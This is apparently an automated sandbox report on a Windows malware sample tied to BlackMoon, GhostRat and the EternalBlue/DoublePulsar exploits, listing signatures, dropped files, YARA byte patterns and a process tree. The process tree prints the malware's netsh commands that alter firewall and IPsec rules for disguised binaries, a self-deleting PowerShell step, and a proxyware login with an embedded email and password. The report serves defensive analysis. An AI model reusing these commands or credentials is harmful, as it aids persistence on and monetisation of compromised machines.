Edit tour

Windows Analysis Report
38iGnQnL33.exe

Overview

General Information

Sample name:	38iGnQnL33.exe renamed because original name is a hash value
Original sample name:	f9f5342074462fa1048fea806eef535f.exe
Analysis ID:	1464591
MD5:	f9f5342074462fa1048fea806eef535f
SHA1:	61c4e925d54b4e85564abb2a233b976306ee4e74
SHA256:	5d87bd723f8267c3c0bef75f2b502321c518ac6a09696f3971ace53d0ba505cd
Tags:	32exeupx
Infos:

Detection

BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected BlackMoon Ransomware

Yara detected DoublePulsar

Yara detected ETERNALBLUE

Yara detected GhostRat

Yara detected Powershell download and execute

AI detected suspicious sample

Adds new windows firewall policy

Connects to many different private IPs (likely to spread or exploit)

Connects to many different private IPs via SMB (likely to spread or exploit)

Contains functionality to capture and log keystrokes

Contains functionality to detect sleep reduction / modifications

Contains functionality to modify windows services which are used for security filtering and protection

Creates a Windows Service pointing to an executable in C:\Windows

Creates files in the system32 config directory

Downloads files with wrong headers with respect to MIME Content-Type

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of sandbox detection

Found evasive API chain checking for user administrative privileges

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Sigma detected: Suspicious Script Execution From Temp Folder

Uses dynamic DNS services

Uses netsh to modify the Windows network and firewall settings

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to create new users

Contains functionality to delete services

Contains functionality to download and execute PE files

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Sleep loop found (likely to delay execution)

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

38iGnQnL33.exe (PID: 4948 cmdline: "C:\Users\user\Desktop\38iGnQnL33.exe" MD5: F9F5342074462FA1048FEA806EEF535F)

MSSQLH.exe (PID: 6516 cmdline: C:\Users\user\Desktop\MSSQLH.exe MD5: 214F53C5C0181D9E0531C48D46ED0881)

MpMgSvc.exe (PID: 2800 cmdline: "C:\WINDOWS\Temp\MpMgSvc.exe" MD5: 40670D0D30C6855DD2B3DB30B81F9CE2)

Wmicc.exe (PID: 17920 cmdline: "C:\Windows\Temp\Wmicc.exe" MD5: E66E02324B37D50D144B06CED32065C0)

Hooks.exe (PID: 2828 cmdline: "C:\WINDOWS\Temp\Hooks.exe" MD5: 422F3763021F8F9BFC31A9A7E4B049F9)

netsh.exe (PID: 6040 cmdline: netsh ipsec static add policy name=Block MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 4840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6228 cmdline: netsh ipsec static add filterlist name=Filter1 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6920 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 3068 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 4364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6180 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 2104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6468 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5252 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6960 cmdline: netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 2640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 4416 cmdline: netsh ipsec static add filteraction name=FilteraAtion1 action=block MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6332 cmdline: netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 4124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5780 cmdline: netsh ipsec static set policy name=Block assign=y MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6308 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3980 cmdline: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 1420 cmdline: "C:\Windows\system32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

netsh.exe (PID: 4460 cmdline: netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6540 cmdline: netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 1312 cmdline: netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 4428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 1076 cmdline: netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6180 cmdline: netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 2104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5440 cmdline: netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 1888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6276 cmdline: netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 6468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5288 cmdline: netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6920 cmdline: netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 1308 cmdline: netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7288 cmdline: netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7464 cmdline: netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ctfmoon.exe (PID: 9236 cmdline: C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos MD5: 1DE26EF85F7218E1DF4ED675FA2B05D4)

conhost.exe (PID: 9316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Meson.exe (PID: 6732 cmdline: C:\Windows\Microsoft.NET\Meson.exe MD5: 87C8B215C031443D630DA6C18088F89A)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Traffmonetizer.exe (PID: 17064 cmdline: C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe MD5: 2884FDEAA62F29861CE2645DDE0040F6)

svchost.exe (PID: 9152 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 18048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Name	Description	Attribution	Blogpost URLs	Link
DoublePulsar		Equation Group UPS	https://github.com/countercept/doublepulsar-c2-traffic-decryptor https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/ https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/	https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\Doublepulsar-1.3.1.exe	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
C:\Windows\Temp\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4898:$x1: [-] Error appending shellcode buffer
C:\Windows\Temp\Doublepulsar-1.3.1.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x4735:$x1: [+] Ping returned Target architecture: %s - XOR Key: 0x%08X 0x3e9d:$x2: [.] Sending shellcode to inject DLL 0x39fc:$x3: [-] Error setting ShellcodeFile name
C:\Windows\Temp\Doublepulsar-1.3.1.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x50ac:$ci2: coli_ 0x50c0:$ci2: coli_ 0x50d2:$ci2: coli_ 0x50e0:$ci2: coli_ 0x50f2:$ci2: coli_ 0x5100:$ci2: coli_ 0x509e:$ci3: mainWrapper
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1	Detects EquationGroup Tool - April Leak	Florian Roth	0x8d6c:$x3: [-] Error setting ShellcodeFile name
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance_2	Detects EquationGroup Tool - April Leak	Florian Roth	0x7a21:$x1: [+] Backdoor shellcode written 0x786c:$x2: [*] Attempting exploit method %d
C:\Windows\Temp\Eternalromance-1.4.0.exe	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x8c45:$x1: [-] Error: Exploit choice not supported for target OS!! 0x88f0:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x89c9:$x3: [-] Error: Backdoor not present on target 0x7674:$x4: ********* TARGET ARCHITECTURE IS X64 **********
C:\Windows\Temp\Eternalromance-1.4.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x97c2:$ci2: coli_ 0x97de:$ci2: coli_ 0x97f2:$ci2: coli_ 0x9804:$ci2: coli_ 0x9812:$ci2: coli_ 0x9824:$ci2: coli_ 0x97d0:$ci3: mainWrapper
C:\Windows\Temp\coli-0.dll	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x317d:$ci3: mainWrapper
C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Windows\Temp\dmgd-4.dll	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xb858:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xcff0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0xe5a8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x168e8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x17ea0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e5e4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fc80:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x21150:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2788c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x28f28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2a3f8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d398:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30340:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3379c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x36c1c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3d818:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3efd0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x405a4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x47178:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x48930:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
C:\Windows\Temp\Eternalromance-1.4.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x9b6:$dp1: EXPLOIT_SHELLCODE 0x48d7:$dp4: //service[name='smb']/port
C:\Users\user\Desktop\MSSQLH.exe	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\MSSQLH.exe	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x66694:$x1: Microsoft? Windows? Operating System 0x279a4:$s1: GetLastActivePopup 0x29fd8:$s1: GetLastActivePopup 0x2927a:$s2: Sleep 0x3ffd1:$s2: Sleep 0x47df5:$s2: Sleep 0x5c276:$s2: Sleep 0x64096:$s2: Sleep 0x67aa1:$s2: Sleep 0x68517:$s2: Sleep 0x2933a:$s3: GetModuleFileName 0x40357:$s3: GetModuleFileName 0x5c5a4:$s3: GetModuleFileName 0x47f2d:$s4: VirtualProtect 0x641ce:$s4: VirtualProtect 0x292b0:$s5: HeapAlloc 0x4036d:$s5: HeapAlloc 0x47f0f:$s5: HeapAlloc 0x5c5ba:$s5: HeapAlloc 0x641b0:$s5: HeapAlloc 0x685df:$s5: HeapAlloc
C:\Users\user\Desktop\MSSQLH.exe	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x689a0:$s1: blackmoon 0x689e0:$s2: BlackMoon RunTime Error:
C:\Windows\Temp\Doublepulsar-1.3.1.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0xd25:$dp1: EXPLOIT_SHELLCODE 0x1034:$dp1: EXPLOIT_SHELLCODE 0x33d:$dp5: DOUBLEPULSAR_PROTOCOL_ 0x4dd:$dp5: DOUBLEPULSAR_ARCHITECTURE_ 0x64b:$dp5: DOUBLEPULSAR_FUNCTION_ 0x8e2:$dp5: DOUBLEPULSAR_DLL_ 0x972:$dp5: DOUBLEPULSAR_DLL_ 0xa65:$dp5: DOUBLEPULSAR_PROCESS_ 0xb4b:$dp5: DOUBLEPULSAR_COMMAND_ 0xea8:$dp5: DOUBLEPULSAR_FUNCTION_ 0x114f:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1246:$dp5: DOUBLEPULSAR_IS_64_BIT 0x1337:$dp5: DOUBLEPULSAR_IS_64_BIT
C:\Windows\Temp\Eternalblue-2.2.0.xml	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x764:$dp1: EXPLOIT_SHELLCODE 0x451:$dp2: ETERNALBLUE_VALIDATE_BACKDOOR 0x9a5:$dp3: ETERNALBLUE_DOUBLEPULSAR_PRESENT 0xbbe:$dp4: //service[name='smb']/port
C:\Windows\Temp\Wmicc.exe	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Windows\Temp\Wmicc.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Windows\Temp\Wmicc.exe	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162a9c:$s1: blackmoon 0x162adc:$s2: BlackMoon RunTime Error:
C:\Windows\Temp\Eternalblue-2.2.0.exe	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
C:\Windows\Temp\Eternalblue-2.2.0.exe	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1b818:$ci2: coli_ 0x1b834:$ci2: coli_ 0x1b848:$ci2: coli_ 0x1b85a:$ci2: coli_ 0x1b868:$ci2: coli_ 0x1b87a:$ci2: coli_ 0x1b826:$ci3: mainWrapper
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1791111:$s1: %$#@!.aspGET ^&().htmlGET 0x1791139:$s1: %$#@!.aspGET ^&().htmlGET 0x1791154:$s1: %$#@!.aspGET ^&().htmlGET 0x179117c:$s1: %$#@!.aspGET ^&().htmlGET 0x1791197:$s1: %$#@!.aspGET ^&().htmlGET 0x17911d9:$s1: %$#@!.aspGET ^&().htmlGET 0x179121b:$s1: %$#@!.aspGET ^&().htmlGET 0x1791243:$s1: %$#@!.aspGET ^&().htmlGET 0x179125e:$s1: %$#@!.aspGET ^&().htmlGET 0x1791286:$s1: %$#@!.aspGET ^&().htmlGET 0x17912a1:$s1: %$#@!.aspGET ^&().htmlGET 0x17912e3:$s1: %$#@!.aspGET ^&().htmlGET 0x1791325:$s1: %$#@!.aspGET ^&().htmlGET 0x179134d:$s1: %$#@!.aspGET ^&().htmlGET 0x1791368:$s1: %$#@!.aspGET ^&().htmlGET 0x1791390:$s1: %$#@!.aspGET ^&().htmlGET 0x17913ab:$s1: %$#@!.aspGET ^&().htmlGET 0x17913ed:$s1: %$#@!.aspGET ^&().htmlGET 0x179142f:$s1: %$#@!.aspGET ^&().htmlGET 0x1791457:$s1: %$#@!.aspGET ^&().htmlGET 0x1791472:$s1: %$#@!.aspGET ^&*().htmlGET
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x179a060:$s1: blackmoon 0x179a0a0:$s2: BlackMoon RunTime Error:
Click to see the 22 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000003F.00000002.2301629964.0000000000562000.00000004.00000001.01000000.0000000E.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000007.00000002.1981824704.0000000001BD4000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2ebdc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30374:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3192c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x384d4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x39c6c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b224:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41968:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x43004:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x444d4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ac10:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4c2ac:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 